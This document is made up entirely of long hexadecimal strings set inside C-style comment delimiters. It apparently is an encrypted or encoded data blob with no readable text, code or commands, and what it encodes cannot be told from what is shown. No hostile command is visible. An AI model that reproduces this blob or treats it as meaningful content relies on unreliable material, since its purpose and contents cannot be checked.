b68190e9fbdf0977a8f228a3b405bea540b464df37bb476ae30dc2311f50a577e02d549fe2d579792392f8aad615ce06ab71125180936b32a4cb411dc8fe6778d814143b7a42d1ba1fa46aebc61dd15a88957a444d5ddb139a21a308cfe5f64d16d597b9eb4df5ffe90558eaa628b3e57717da2b69ae6af1fc8ffbf295a6f8ff4349d4b6904003e376e766304461143e164b6457f2e79ed7afdf3f56c9264897fe8edc966180402f7e2bcec8a35076a6f3a36f49d10c1ba9c4bdb2dfc9a428cfe7becbf6256a54078e0d1f3842e21e7fb87b24975c39220e6d6198b0d9ce8fb4dc20436245a4a2ec5698868835ed60aaf6eea62f4c94bad276ce67d1177ee034340c33f1601342035669bddd585efc0313c36601d8e728e33cb4c09bb6db47474b3923e77f1f9de09168a9ccf8cf641e7b5ee199ef491bd6e2188e01ea9e8c2ccbe445ef1affaeae8e5d5091112c36c93170b34f6129dfb615f0753fb6d9f2dd506f7363fd45ad374705bda933f6b749b86aa511537587cf8cc9758363f63dc64f7ed4a4c83c6298cab9a899afe6bc3c49e520feacc0ea40665593c088a45fb14920020be8a8026ac8eb846b5b4506dacd8789734c2755807100f41e92a31655adf911b356e6e65d9cbc0ea233fec9ab90ec78e56f49bd7bbfdc6d2afca2e7a11a76959449f8cb3e93f8876b4c19872ab059502a320e6a13a3918c54818d90a76edbe3edc9f513ac30904ef907636183845fc3f620ee4c4c8425c10174cdd58a8d13fbb236591432061c82c039dc85efefcd85ae21545696db91ce32cb81c9e7dfec36bd5edd028236c6fd82d5dc92cb73b22d148a746cbd28c448dafc8099357b8937c75e05ea3f70a9027df627593b97e6e3bc8d54a0785121d5d6a8f386fac04b2e124610759777de0d5f285e6a8a7be60a2b2ba9ae63d146d66e01b777f112e82886acd8b2c841a04f0857747cae4121416dde8127d8045284215b1dc5cd334b32a5eec6e74fc0103fecec77e9f6cd95e777740a74544b0a85bd1c174e3e249ef29889735bbcc32d80d8078377ee5eba3e0210c66775f319d9780630e5e7bf74bcce5697e878fd211389c1b7051ba3009ee52597a4983cf3b10df24f044574e5bde6df7af959d8e30ccab8581314d2220a1751d357763545283842e161b229d951f3220ddaa50663dcd774d9bd8b1e7755800b05b4b49406425cbd7a86c5b93748c8e41897fafde491d4ec6ad69248005432736ceefcf1a38c7dad33b9d6529a6aaca31caaf481f6e1168182e983fff553b4f587c5975d4fc1a38e5b8e908be212d6ce5b6226ff5b55a9963a437f7c500642ea152f1d5a708*/
/*d8d37d64d14de3e4972e9ddf762f2290e3789be456bbedfd2b5ae7a7a413ea7197b6bfe9c2a7aba3a0b4d1a2aa58dc7336b0f3ade6d0e3efb78f81d97163562cf53294d7ac916463f8c9061ca982b350942702ced979ad05ee73fa62036540b2f78522180da98a2f7ed211d6c8a4a51f5f41709d8b6b2dc22f81c71356b173c348a019c41a589faacd072711364895642a256fab1bfa7bb703e1463b1e1b6811e4205ee157ad66259485212586d71f7e123c9c46733291e95f822a9dd5ad695b1beb7d3e624c064c8f460545f9b22cc0c4ea23fa234bb5296235a635f742f7bfe9cecfe39b2b9b6a058333db1350537a779d13bc2a0b2ebaa2ce62ee1fdb50edd152a6202989ae9beb8ae083f301da09984a6ca9350f826862fdfbf98f2597c0a7dbe36853912f0c1e9bee0ca2451225a2a234227602b6328f7d2046f795697cdd93ac4f594995659468f9e97efaa9ff47e3fe7d3ecf4ee576be17e37521821c64c866022533a7fd6ef7ca4366d50e335292893085cbbdd7910d9d61798683aba5250c317fe2ae908788fd54b4a399408af019b6bb9ed3c0e1370f2075982ac32bf3bc300b6b400bb4a878c1067a46c6fd50ac084b69234c7b30ea8cb01492d0a955efa3cec9041f1a0f4dfdd6ad5f0ab8d9cf5aff11e2fe7ecb6f3c7f2f9c454033a24d54dcce872d8a38472a8a4e4693230d78aa6ba569fe1d992e884f6841c8a9865462f10d859627f1c52814b2f2c6531d2848d75cd3feb58319c5b241afc7932f689228118cd63ea0c41f4fa48e5f6df5f340dead15a84064ca3128cbd030c732f62cb1a5f1e8ac7ad16d2432995566ee137bf1dfa9c8cfc9429ac69a20f705ee2abf35dbe9381de28a927c2bbefe2339a77d5105464463dfe50142f125ee5bc5be5e2f3ab6828e2b998ff3d2ca15532f10292d9e5ca08379fa91aa120fff4675237f82bd3c5497abccf038897086e0747be7899aeede232b54021b56ad4a43459bcdc18ec3435e00971dd7696e919edf98424d5fed654d0d8d4a2d730b734b035d65c52c9aa276ae8bb132625b8e8233ee40bc93fda8c4fce9137dc15d9b19569aa84dc8dd911bc64ee33f73b47347f6854ca842d60fdca14829c280fa475afc3185611bf69d5731616daa7675df63386d1c7196025363f718acb7e1abc3d94677c4a120c6b7619d8c15aa8f65376d48a6bff926446b5e21c1d047b4547d0622d6788d10cf66635a56623f563adc96556bcde7c8bac43b3299029575d1dafe3a0f246b68d7bc65eea74537bf03c3db02d49469e6ed8b656b825edcedb97beea5c453fbbf82ae016b821396297ebc07af1d666f3c8d7c213b63ee95b16d3238cc7708ba1dc251b7f0758a508671b0654b766d7963bfa7fd3cf2274d0101f438d6fd6b2bcfc649ce6120d2e7008875523165294e66b20dc28519ea362fd0590bc9b46b68927e75cc3d0259e455af85e0c184431e7204b82baab2d8b390d9b3650856117b77c6d30b9c4b3c2850768435320422ba693f15c43c98b3a86fc3c974fcda3b2c73ed341a494963587fe404eb2fb74df8b32a51bc419df634591c5b878b044922218c4b038eb4006fe04c0b392957f09f6957bf95a61607d9e419d6c3f719c24c1945f536fdc05ea49ae99966f25e786982c2b5cabc12febfb21c3b7d87f0ed529a804041bc46fcfa9467b36d2012d6648e6b5732374721fc9205e188201957bac58ee9a369253d6140c6b752f9cf7bb685c45e3d45e7cd1838990cbddd7ea4413964f5277bd24d899502369c21d93c1735b36d483c4bba04634109898c43d4839eaa947e14c30404e446d9709d0121ee39603abe7f935f91933d97af8dbe0ded709b4bd23679e48778856544664ac009871d261263b730583e0e9aa083da8acc76fa76ceda66781236a08e6e47fe7d76c972fe5f24f7578f726011b613ab837d0988347a1622ae7935cee498c555d2c5fc5e571679c49ead65da308bb5a266676728fe28d23108902d57bc6a47428c3f36f519fcdfee0b7a92f765abe45d0aed53e431d1d75cdc9d6ad49cf3fe3cd40609abfc3531a49c9abdd19370fe05675d7851fdf7ca3f61b3387b0430ab0f16832dfbaab5694f04f5d34f7bb54ae0406b9a7a4091fd88c68708dadf1d15e4470af9834ed1dbb354e179f0092f444c92946686a338b040acc51514e5320d52a3184d3adffdfab805a61699bc10af75f5baf8e74a72aa0bcb94481b0faccc3242bd558055573ab3e585c21672eff726efa5f1f25536d53b6ae0361361fba33e77dd9d8e12700762b92358c21e1cf58f6ceefa12aadbd22092b7915231f1b0cd08a638e8eb4730724091c95a8f4c11139d0fe45d8dbb0a9dc05dbf1cf3a2cdd9079faa510993ce11113d3969b5e7b840c6a05bc2ea2f0f645a367d4cb894ead6370a46d08cfea8d42e3e06067b192fc0324960a607cbba1f484649de5945ce471a684e5e69ed9a5c33bf3eb2e1bbff2e3e063c8ec722377405ddbe73536c74e7a1905a19d81f9a22fb26e52a17784ccd415597e61d13bdb6024a56d433ace00e6ce40bffce0144e7d081b9fa5b36880310cd405dd58eacd6aef72fc746b221135d86ae2574aaa1659fbdb2e384908cee2875303d5a6a535f25a49663f031c1f4ca878fb7e5ce31e812e479bbd8fd3cfce7004fbaa0095e173a91c4ad4720548d7cb4c42f26f48beb5dc25b1d3d7e72312da34617046a810fa3b063d5e0c4809e0c1a13af0c63722b94e6d3cd5f4b583951ca47962193d33b71248bb61431ecefa99b77f4bf342739681edd0639576aaeb1f59eab92aa5807b638be6b*/
/*2b0d0e32490729021542a27efeb476bef402ab6bf1c30fd9b08f16c817344cea4e4cc3f590cb7ea0d05e9e9d5024f225ea50b2104fb44cf36b4f821edd52c065bc8d14fd9cbe7287f26a1e8f1e529f23e562d9fad0f329a9bd1d6a657235d9301b3aabfd27327df6fb9f0d3ba67a59dcc85b2684cfccb67708c8cc2ee723c17e89ad3001f8bbcd7a308bc8cfab4f545733a087f34be0cd6eb2cd6ddd9609f939545e91ec00181c9d793a42542934bd3a94ce9e6dffb80c4dd341df8403945196b5e80053949dab326de0a095efb2bf6659c65fde4d22842120cac071aace0816a1da00d778be29105713d65e6658b830dd331449c8147ce769e068a8ad62ff4696d4bb69afa884c4c619549ce737ce36a99f218fe43e820269db89fffc26205c7d59103c18bd2a9e4a9e8c6e935ed10e127417b22b8c03e84516d938b963ac7a95c1440a0a73ac48239f13b89af094c1d780adf5f5d7ee7369b0018ee607875a3c18abb62a22538022b296e02aefa2aa906c8c43d019413c7a4a7ea4ed38720767f5f7fbe172e663e65cf7af80e1eebceb19ab0c064d50fb01d730e85b8a45496a8e79c6fcf6b6646f76e42a65ac043f2a56af5a54c25b2b0f428a317ee7a1fcaaf16b188083939e9625d0d0301b3be69491602704d2ac8421b96271171b921ec399c29e75abc3c54e51882c15ae349b0dc6477d3d6dae5b6d2d10daa9676fe0045ef669691b9f5d5ddab852ca4da6239cdd2aefda7a1ecec54a81076bea9ff92c355d8fd126d2c1ccbb379646112b41e80b7a1621ff19a5515702078b69380b2973f568e5a43da207035ae66ecff5aee2a7e2ebc93b972d00ee52ac161dac71f8af6c05cb31950f330cd657b66b87bde7a76de4c3de27b2917360bc66b1a743fe5cac009fe526be19ced22b7083f0df81a9826c569cb2d24e92f501f62e64a316a480a74b1f1e00089f6d3d4d419b0825e82388152d3b80b34a54cf90724433051b3b03113a45945bb6f6d66eceac3cf5daeba6bfec196a640cbfdb7810935f78344b48c1f34cd8f1fa4d143c6618b9caa9e6b3fb6752a6a235c4c8721e5772ac1ac77a44a47ca0ae26abedf57c0df92ea3e11744112ad3ac928b61f96dc968463377354e80d4e37a06b5f8a757a5b8d712c519d27bdb73ebb05d410eb9ede8afb339649c3283835007c7099a17a8a922e7530c22283ca1ef11e5aed74119e5e159b9573776c3ce9595dd2fb360f1ea3c1f77789f54c1686961e7e3c8d3c767155047dd6e28a1dcdde89c681a3c876c8a78418705b348876264300aaea4142dd9f5fe10296f9df7446506fdcf00e907c9946d7c2cabd2bc7a481f1df51f50628c11d1cc63adfeb68917b81631d1c01f07abdd1b2841542e2c095a3b8646ab72c8b600097fe17c8117c9517a9029f182ccbe57a1c1beea5f7297ebaf6883b735f7e18aa08f7e052adcaf1a54d520d3bead7e53ab0c4c7e07494f87601b301c0b0482ee5b63644edba8f9ccf629f12c6421316bfdf84cd1d78090b8f14be1c6c250bec24eaeeb42f65c145d9ba69dfc469c33bda8ac624f7f1ddc12f7e0f7222db111bf13ee780959f6b441f0057eb4665c34fb6382bea84eda149cc3cd5e5c22a210e170aa1d742f1b4f038cd33ee4596dfc5151079234f8d3f17d67ba84b9525d052fd056c05d9ff24e0dbc3a5ab4d78d75cd27eb593b0aa41babbdb2c8cb6fcb7ea750f51d9df13f46ff94d039d1e110b96fb5352411134d577399ac8683be98b83a513eae6e02225f72744e775088b83b5fd3f6429679e7a618470bd9b12ebdd2db45198660d8f7b5fc20177d64ef2f1954fff90d05886e5dfba24a8cfe799de2b1485d1fd9bf7cd96f6a82c6b175b501c66bc4d584c0448c312bff00441554552d5509ced22746820d6f113a41ade2e708011233182929381f447d6c7c37c78ab51fe53bd168ffbaa86bd5d6d9b4af883dc5b15e06d4643c7b450aba70bcc8308517d1eeb982f4add245df4ffc63535479cd6ef790a7afb7cdc4f2954ae477a5b0fa1871cf52f596ce1386a73132cb4c33a4fcf8528cb5c3dfa60ad9c636f34b531b74ea95f5c12e1336d3955bfaf129de6530d3622dad4c232275ed5cb9b5b30e2c8bd30285db8a66fbd9e1e022b178e308e2f60e2751a9227c3f526bea2e301ed9f714cd118e83a0314e12188f05784f501e9be2471b39c8ff4150c5ca4b1195b211dab4e74ae1dbc1094191df45d2ede991fe6d15bff79f37790f19d319c9e329d70f802d34a7df129ce0233381f5c110acbab13ccee4b07b20bd474b7cbbeed47bb36227f94b019d326376a1fb3ad4e3397224a1a26b24c09e2456b37d89d75b4ac2be942c9efc3b19d030af227d0692b02bc5998e9c68e08c257fb0f85803d3cc621c17e33b5ab6bbf9aa7d91261aa2a1a8bc104623d74658b9ef3fe5fa6a4fb829356903a0d01869e151f44ffb2c969f16c89f6f4e17106ce917c51ad2a416e46f52bba7743f36aa9e7809284891d3375f8b8c9c9a335d887aad9990c5abbf0f02d6e7a9f69935d74134a303f2877c75109ae9b205ce1015c071bd61b204d6e5b268188370010d9a334eba8380d730ced02c500ddcc8009d1ff111d317336fd0d5af6f91491c2548f7e7b392e8237399c7ccf4ea9f4d29120028832cc90907ab1049a069bb08d686b10bd3f2862fd600155b65b0bb705091e7baacc622eb4d5fc29e64c566ed124c11c4151268580026ec1e5613b32cb5ef34e65b72572182106318d91a79afc021faf1f8c589b20c0327df643bbfb0c82ccb3266de2cca3ac5f6350b4eb08e52785086d8*/
/*5d867fb00611c2ae20cca175c2984f466caa2ac6b378bab8c87a0e749557848b27b93574ad3585070223d8f8a72f96c04a5a534fc9b9c792276c92a3f2b3e522d54813652d6b3c7a296bce131c9fddc7aea32f1211d51d1da1d00f3dc1d1b63c8cafcb33d9ae4f4a681fde24b097e4b8285e60ed2bb98bf84becf9ddd16402d472e134b6ccb34efdcde3e4375627c6f5418c0c06d0386cb3042ac082b30c7ad3838ffd65626e6007760652e1eac872b40417262b5015c52e635497e3b80374db87709d0ecd66048e8e81538c7714ff16c1d3deb554d2eb57e14491ce64148d2c0953e43c9b0ec83413df2bf16ed6517ada1debc46cca6934261445dd35b607faaba0c1dd1eb8395a6289e06bc657d05a286a1935801ed4bae8a59ce7aa2f0b6cbc82ca8d51a270e70a28d13ae9a656daff44cd70f4daa67f15037c6743536f95d4807c62e9d27483c4421eb5e2367fc9b768a68b6dc42e8861902110048fc4f3d752fa20954b068b5e45474fe992bbd0ad37e63529a7ead48331784b5947fca73cad791fa348ba37052b40943e863580adae55d698270aaaae0dde05b3b36c94137945c2453144e41b811439e83b99658541e1bc89c85d9c9af8efb4672e541d9993a97a708ca5ef4b94a001d41eb5231f4b3b68a6f68157ddfc145e6a0effd0f72b4dd3d08569e29817f357b9d5b86e4034e6025430f85ed9a2e3913eaf7db6bef6b4ff9f3d41eb97bd1d920b30ef8e89972404af61ebe9895b184961858f23bd71ff5b0d1702c93cb36e6c085d3fa8ea46683b3b7a4dcd8b1caad774c1f704356808e71ecb49126596edeaf54f18157bd58256c2a4e531e7a9581fcfc38192802a8c0942cdacd2f1eaa7e2912dd4e79ea6c428ed74ddadb65a6fd82770fdaf92399a8842eb2176e782c88224b1eb603a65ade32f0494bb338254da7b938ae480bc19d7f40ebb92a89e15d2b9de20f5dea171beaba159d964e87526a3b6c6ff755493941041762ada0e37d39debb225689d9db98a1857309938db08a34ed41890c7f79959381a31dd967a31a9917c366da4b5fe1cbeaa24f3259999513200252a50b749f945a8134aee18a4fc2b426b1eebc0c5fd0cddc182733b96197b02ccc20ec9bed23369c157b3f2e4b4953694cd1eedeb17e0628bc30eeee1c8d83450af5e1138559477a96a2c3368cc42acb214757735b5bcd2ab3a8ce3406aaba8500d2175806eab2f3b39675d5e5337d81aa571faef91a40494ae556ca7623eb7061aaf96edba1a270762d39fd8d80bea695699179d0e436936205ff8eadc8d99972b7a5a3cbb933019817c4f97a3b4a0202ce5b21c8f168b6acdbffe9e42075a3001d46e4b7bccc473ca9f8b441b9ae7268ad75e45dd34c166f7a8a960d548e54d5ae592d05ddadedfa11bab5981d4722b64a76fb5223a20e06500c54ecd3893cf69f06083d312373000ee4dbe1d96d3a70f9b081a4562f66ee6e1cf07888f469637f16fb88c54d5bf70e0456602b383cf28ebdb4f2703ec2062b117feb227bdc0826a4979638772c511623fcc12c2a665e9af446048f81615657a1713220f59bbd22a2f85d337ea5b4291d78e2dca4d19d533f60c2d78e95771fda8b12ae0b0f81bd99fb394e483aa05b7736b6c343a8fad8302e9104d209c47deb8eac30bee10fe8270bdd1c299bdc60e9d44c0cb102d6994c74704db6b33a087a7f74d27e6bd28a16e7e7b44e2beb4e77937c8cd04f3fb22a84841028be22018c775f0f044086fc45c62073533c584f75bddc5b583056919421a5c8acf3545522f3e6b2b3beffa0ec4bbd5dc7a19a2b2b4e2016d0d4e1a4590c60a0782e92e539f4a816e5370d90314fcf1bba31784160b012249699f2aef1d296aad8cc6166ca3144172e7ce68bc3cd7001ce216aaeb47c1449b9a86bfed98581c97305ce62d4f1ce4c1c333241919f4ca8dd6e1884c8553d9e51afa931035d07888af047c3a6bd8bc14bcb1e47870f05c7c5d79cb266d36d7e1ad6f8663a363b6a1af93f961cd01f538db3044e5dd3441d3603ff936b75f12447de1af05352bd51b606e5ad4c4de4d08cd5d12d6276e03143bfea1ceba9b587b033244f6ee73e8b9e969e28a9b9001fe28e68eff5e44ec9c4736c9e3bd556b9ef48e9171a8fe9f6cb5757afd5bc721a5e29d7a81406b1e35f533e2912f40122faa093e734c388362626eeafbbe90d20f7f2d68c0e155688741ed85d110f796911a02e7367accf21b2ae3d660910176441e7f25e0e3dd41fe883b12b9dcbfd50471f9f017757dde2c347d1da26400c4aed8aaed17eabe06b44ac43500f7481091cb50208eab0263298e3fbe0f32ca90aa5e528af80c1d32e1e9013a3c3be1c4f0f9224ce754e3b527967b1608672efe918abd3ef97c656f22b2d0e854490443376bb6fb490d31645166521365911b1580c5a16da4fbf3d517706bc2ab0eda12357f71407c92316e9f46fd096392c2f7514003c12ed0472c374a132e9104060668bc196de91ceb34fafcb903e4c482b6dc9d79c323e067b924118ef7bf88469670d5cf80ad34d7fffca4f35561fb0c1b1085c4e3e7abad2519da87526814da5a933d50981a28171a1051758c7d8faed8ea0cfd2e2bb233fbfadbf56c838d8c73eb0a43d8f2214a2fd7d9fa3bd58bf72266d27af5d988ec8a5191096b059df288dac5c1c639da8847661b628dfcbeee7a7b2b2faabf8257570c512e012f3703f9989a1d82d114fe170f644b27e885f1452d24858220bdc1538dbf93f0a7821ba14e37afb98a58122c137975f462236da2e32056fb27031b85fdc3b8c9f6097b22909bce*/
/*f18468734a8b8ea5ce4e5ba6f3efe2668b9cf0f48f35ee382b8e253cc5ed6e13c4ed3488062719005d6cc85d6f1c737ff9769e8c6b4775214eb1424499d680e0d128e1388ffd3bb80795a814347eddc9fc6e16cfceca38f6542129de2f92bc594f7a0d6a3bc6964b9a858e9532491d2a0f2a6e13183da389ebcf04c34b972e38dc53737d7e80d6dbf3b4118485587beaa99fe9ca348d4216543edc4e0c4d2b98e22347bf43f190a3a252d3f5292aa6048c9b0799851e9618b8ecea3d666be56e766a248d3ea375bddf2cfe9eddc3ca42beeb0c8fb9636bdfced7ecdfc4f8db8f8f0e46b5501bfcb8ac1b4a716eeca8e8739bcdf1355ccb00ab8f7b9d0fa1c5c9a0822e598474330687f22a006762e2186453e806f46b3cdaa30e5ee6c60e8806ef187d919eec03dbad9afa48928e83ca4b010dc7f70df64fb00767fdb04ba5358d5d8cbd0bf2af69716a399b411da81b77df253aef4ef8e3b8af0afa3765fbd9ef1b387194f1070aa2dbeffec5dcad5be845c38975e1cba8e47774f170d862bb0d839dee0c894526ecfe1d1d287a0805ff858b9032bf2b0e4402a01270351fb3b45ddcdd32b6e25030cfd5e4b6973adedeee2a6eb4ea3a5d3f080da723de1a853921ae07ae7b613366d081aa03cd3ce488255afc94c6592db9df6323c30dfe2f2462000f33f58b0dfbd7765540fcfadfc6f353139227d1b79003f7cb07cbd943c2e45a63d829732ea35820b04271b4461e94ff613a7f02e8b04e86c91e86cca367c235cdf5a9b3f1c9899d851dc2518b5ff17339e8094376c483be40fa4c17b4611cc35e0aa51aac5f4786cd96dca489d5d32eda97dc6decd47ae80405f9f7869c6292b1651046c6e4aeeff2ec7a9b74ba38c9c317053138eaddc0993fd0f7949b1beea5b267773e46463c0ad46f679e5d83797e20df8e94157e7eb224988f58a7d98908ef822519de2cb67d2f1cbb9f8f58c2bbdcd99abb4e0ded231c5437e98371009f1979d3b4847c210f7a019a86d716ff9b43dee62e144f8298b25869e4886fa51a2ffe3b0067ae49f6d8309eb18147d96e9cf6a691a20661d1d882468ed575e013515e20ccda034dc8fb1fe2155e6621fd2fc59dcb29ae1624efc53b3f9b6ac0e1d8076f811071e6c868b14ac168a985129305664b3854cfeb3fc7f5b46688563c0e11e9fe78d48e19504a7723fd1e469fc854ec139a4c4b3bb307e6be6584279b6df38705b111be495f347d58f4a4f565a774f5a1a69ece3560d9ad888f166780a2c5bc827d32792a3d2ce6306d974ed07632b1217266f3f3189427fbacce1f4d2720b988077674cb284a213912d3080143fb5fc0edddadf4ea073bb556c0681136bad133a1e7839a269d9a8946fd8eab6d97e6202579ec914db1257efba2aa790ea6cd0ae59f0d7b666cc73abbb6f58813cb7235be80fb702e772fd7c05cad29ea0184b7a45a9f7d759ed143c3ed698c45179f06a7661d0d7c8640fc196fd6d363166c1d098b089fa0a0e3d039cc526e7609864c32c2a37eb825675424bff08b1ed41e725432cd77aa2f376296c25ef84e08d32c63f12847b4d690936056d7baebb7e9285db73920b165f73e28329b747e087050e4b56e68c46550d8e367567dd55a76dff557825da9ef69048534ff21f16ea875a55518280bb59945b3ebba55ec1e1ed658f562056bb9d5aa0fe36e967451ffe243fe44dbbd0ca7f028c2c605fa8aaaf44d69e63ef200e4fe81ea649d7376da19846f57f84fb186bede49dadfebe783fad0d70b9a9d9ab19058f3863fa6d0183db8aff756274a746eece34fa581f76574779c0440b8090f9507a258332d255d969320c01859eb97cdb9a8ea9baf80113649bb46a41a133c5145743dcd5a0e6f18c020ac1852519d15e1b267389e3433f3208edbd0d8951df3b686a4319c760fd4bc7222595cfdcf6382261528c088ed6a38d9e2d0d3d534ec3aba3cfae57ded8d67cfec9fcaf7dd436fac57accb3d598ce409823a48868c1a6e43d95ce2b450a515c8f94d3cd82dc610bea50829894cc251361bd616857fb1e695ac995da84d5fe2c3b0f6d1e7a63dd977bf20e5c9951997aae3f030f93f1e9f9e2cba30bde7e069511a177001a534ec32d63522a476b47bbae524b0a61878611832d078e0315e51d5869e9277b0cf6a7ab89b6c294a0c7c3a9c0e17fbe3bde7c7bd2a90723b88d97c58ed5068d7f6500108b89f3a04c01d4e28c19080526ccccd28533f553037919ce53aac0394e92c559ce23513ad847f0f7857cba6e5277ca4a0c46b624d505a674dbbd1d1432fb6df613f99939ffb9c24ed70d3fc4f461dd657f8069fb46c84e4eb5190b62e4ad24374f13e604228d25bad6bb8767238559b721d821fdaf581b50a30fda604dac9e504a4f39a4abe0e9b20c53ed134f3332f8a0b70d442fbed123cf0137244da68ad015a9600a6728f93fa4bb8e56166b0ff0cb8e8d07b2896497ac42fd82e57df0fd7dfc273c53b8f492c23346a8a091de29fd1e86d5707c77d604055ab34b02924657201b977e595c0e5d8cb023cc7e4e328beb6ce36a2cf86c1ae050d98e71038f75df9cabbe08d1c291c6dc86974994c1b2a618266adc3917b8eae19a05b2eb046274ba8f53c69d6971b7bee91c8ea28027000f1edc2637e4c89205e19e4c7853ce39142dedec627339bbf35d139c442301e353cb410786586241c4c3703e35abd74302e5225eefaff97a72e604c133ab6b3a7e84df7bf8775c0b1f4cdbb7c9d25ceb14c96d219efc8b4b7ac04cc16439d0db3d1fba0c408965dd30a74d6b8a1f2b49f4d6a084ee98454cc09351b*/
/*96c2c3fe09474154042cb02d83a57c5e1e19bf43ce0ed9754653059af1ccdf31c3b6068eaf9b9951be53ea65c1e9c89f88b110cfdfa203bcc88508cf6820870b93e5d36649a43b106976bc56d3d04ea638c0823ccfc5dc43a2cae97b3ed0aafe7cf0659db6addaa9ef8d73f9a7461bed8ac930f3bd370e032bfe485b9f12461e417b3c0060e2b870b3400937abff2bc0828f93f69314be1b25dbba9fdd8667135451967038cc58c4fb9d75a618d5a44bb19c50a8396169fb971a88e67907ed5347b8cbb79de00afb6ed9f8c3d0acd297539c4541eed7a1546f870351908619d3713891bc8a1791d56ef7fe025fa0579dab3c2029ec967f5a315aefde96765db73c242f7499a1c21435e6f6813d0f7a64ddc50d30c34025cc197468c779732639107649af28ada1fcd21bd1bf7a1ae76505511b7122f3217873d1108b2c28981550c959c1219eda9775e03ad627b038257d820666b92cff5cdec9da125ed92c58bad58856f8724f6ab993688a310d7855b6a1015df5d759ace05e00ed78fc56fd24d6958c0885217ba98e46d09d09ec8d182766c5d016a6046b1c4f42bb8f58f8e4f8c371f91f85bbcb9010bcab1fe57d77a63c4d6458ddf040d7176f845dadb099b6ffe67fda0ae267538783fd6bc1e1e8b305b749db6380e8344a4a9af75497b63cf0db3618ac48128665709ae349b83fc9d0cb416415a9f551f38606455e9539160e0775e234c56394706d7a4a70823156614c6f6eb19d04e42629669b4dda58d424866afc46b2f160720d87f663ae738af66de2b9e80f92a99f414c7cd300d88af166cd2acf0e292d5d7666a6bf4f250e0daddfe2dd060fc0b8dbf75de78b9afc5931202abf622b92be9458cd093884e21bd5a1b45239e86260e92e6e99a9ebd09530d1b00047a6b2857179d6a28ebf3e5e5c032b187c9564d4b395a2d739cd79b57b2777fa886c96a69771504332c3ac95a22957b8b26c11729dbde0e049d1d0019da16efd14aa91268fda0d00e703e2aea8e2477de4fa51cf23eecbb1b4a01bd39a8ef0966b9a7499517d194b7b49920ce6703316141350c88f1e2d743097704e82bfb948d46097bdc1d91fb878ae7d26d1449284adaee78f4195c93e48873e86eb8f082e4c17498c51cbec9858907c5c162548472a0701c1b43fa9119d8e92784aeb7b69c95a24a42070a928f4d7ac258bf754739a3ed683f43a521bfa13ad65e6e37ebdbfcae78db3c2ab41216378696f1ad9a5449b522df42a8d9134e7b5c07a88148cda53eb9b0939e855fe91afd1be73c976a5370424e7bd7740070ca7941caed95a005084d1f644c5165cb631d2f57f8b241dbc8b8e201d744bdc773e4d834a0592642fbabff6b900b1cea1c244825aec45980cc9141d62ade06d1417b17cd65567e437e6b9f78eadd0ab3d4ffb83d301262da94fa5e8692b9fbd4fe48af4cdfa1fc6ed69c5098dad0fb8ee033c83050acbcc966fa75586bd945da54b69cff89cc771c2b7419ae1997084fae4a0c45b976fb574b9059240e4cfec7c246b8862ff9f48ed5c587ae8399001f76d8e5a1cdbc2785ee732278444288296bfbdefce931002d22999cffbd037a0efa17a55d5140493801742a8758f88306b79a61bec10e89225d788f535f527edb43c24e00c8792fe04424634ccf30d80d60dbab74ab58610d684221232a63915a05f4ab4e52af2c279a88788f430f6c80ff88397395463637eca7d0559812d8da0f450079eb11f7f186e880ecb09caba4a642986b79439c49ac2057257cb302761b8c3d6542b6e0ce1d13a7c1f20be124fc5f55ccf55713dbf170dfefe97ee566ee79af8b0181b8fd96a16ceaf3111671fc030400ce35f891d15c24cf9ffcf410c4084a3d118804a87b37b4dd959fc9f24b3a810c4f7c2de76591263a8fa8478ec2e1b1571bb43236e3fb1489a4d6ff77a0b67e1924dd8c35f5880f9f02b67e0bf7ea4e2cef0a7ee5dc83f6cfe0497a46753050f5804a8a3d1cd9d45ca4eb8047d6a18497a7d92056dcc9f0178364f8400b4320b34c1a2baea0cb5e3c4dc817cd74274c180aa100acdf8fa46a8b801aba28107056fb493e3084d974c01412bd2ea231f751631b01a8d0ba8e6d48027f46c6bf91a5a6aa331bd1d3186756b8bda9fbad537ed99d0609bba9495361a04c9321b57c45ddbabed5df67c4fb0d878a83549049d4f9df1e32fcec07afe38252f81aad87226f4e29c3797c3a97099e78e24ff80ac7c90a11da775f0350a5072941e7de6737e17780340a5c7a48df95a6e44f8e83a36a47e86bffc6c37e8bca6882629ffe1f231bf1f9d75fd3da5282ce1fd7928ed22da023e6a4b5641718609225df232f1ed6ab205a31fd30bd275679d1d7ac322f8ee1bcfa78b59cf0b7f82f817c6912ddf2bfd80757a89cd801b5f6cea2cca1292f3e3d20c2e4171304623c819cbcee99a34b04bac47aacdb9e3dc91b0bfc1b491742bbdf7e6e2234e3100d7f1ee433be48b48e1e199004300e69806cb121417f834558a20ce663d699e01e61da7f80fbf4a6a38ee3662de76d8d097190fbf29d2e954df4695842ec23e903b4293639103559404383f2d7661ad0b277351b838e07d69dffce519d9a3d1d949917f54074bc84a489e4eda364d5ac8655103d3cad91ec31fb11b8034ea5b3bce05dc2039013b4b3c6e564d87809221f27aa17c8de4ffcd7d6a5fc1e025fa41e31b6bbcb194b7c67f1c0bb0aa3008effa453862c9d69af15f0623b7db7bb2c141d2f7b7dfa04635b2b470234d7cdd737be21d9674ac915342c0c13e1bca919b762ada905f1f2e7c269aa7749f26b411f0*/
/*2c6850749fc1647f29dd947e60c05743b716986f178d6f792ecd22b21519094156c8d7057ff4fd1fbb7de120205f6f29ca369c86faafb3c4d4536c7ee6bf3a4ac57c2d13d7223719321c4b762ecd2905ad6e7edaae8325b30fe85813a75be937c18cd016bcb9cc102168e416df96658348baa1dec3f0a16470c8302bec06899f3f134d7a80b09bca5421d9cacd13b3b8b87bb08df15d250d5730b464e9d415a69d32d1ccb051ebc5d68e7f871a9c4016fa977f9abd6c7066a4477269cb8a1c04e3cf4caa58ff2be435829c6d0c87b57ab5992f2a1f9750286474c5e0e2e2bb664284f01e70ad4630ef32291291efe5d9996a1d768bc115202b9f4070ebfb6b5df66857904ab8779add7a12bb8d6789a9cd75a78ba9f68ca2c577d47239c7612edeb8992c6ee0004dd844aa6251c4270362176375eedb8903ff7c4b39e70019badffac0931c54bca7634b5b182beb8a85178d97d07e91f3c1a51637a34b8d78819a900cdc824b7c022041a400c52c42472e7e0bce15e25c85f05d399d3c9b015f2e807bf552630f9bf4ce3638e0117b15f94dec7c4e42bde17e767f72a80e3390f97a5ccd359e61bd6c440124cfd9e089f0c206b43ced15e1d09e9a720c015612cec341ca98f26558f531f6ade018851f8a935e38abd1e26f21916f1458e9c6e6fa5456dec931979c7b9ced6b5182b94de5930c5c62f929b861b241a838f71c7a06b881b11059117eec7bd06d38019b5f7b06446734ea3c98d83b2433fb42823085b1d56057e00d6e71ab